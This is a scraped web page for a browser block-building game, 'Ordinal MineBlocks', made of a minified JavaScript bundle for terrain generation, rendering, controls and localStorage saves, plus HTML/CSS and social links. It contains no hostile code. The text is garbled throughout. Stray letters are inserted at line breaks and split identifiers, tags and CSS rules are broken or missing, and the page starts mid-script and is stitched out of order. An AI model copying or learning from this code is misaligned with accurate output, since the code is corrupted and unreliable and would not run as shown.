&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
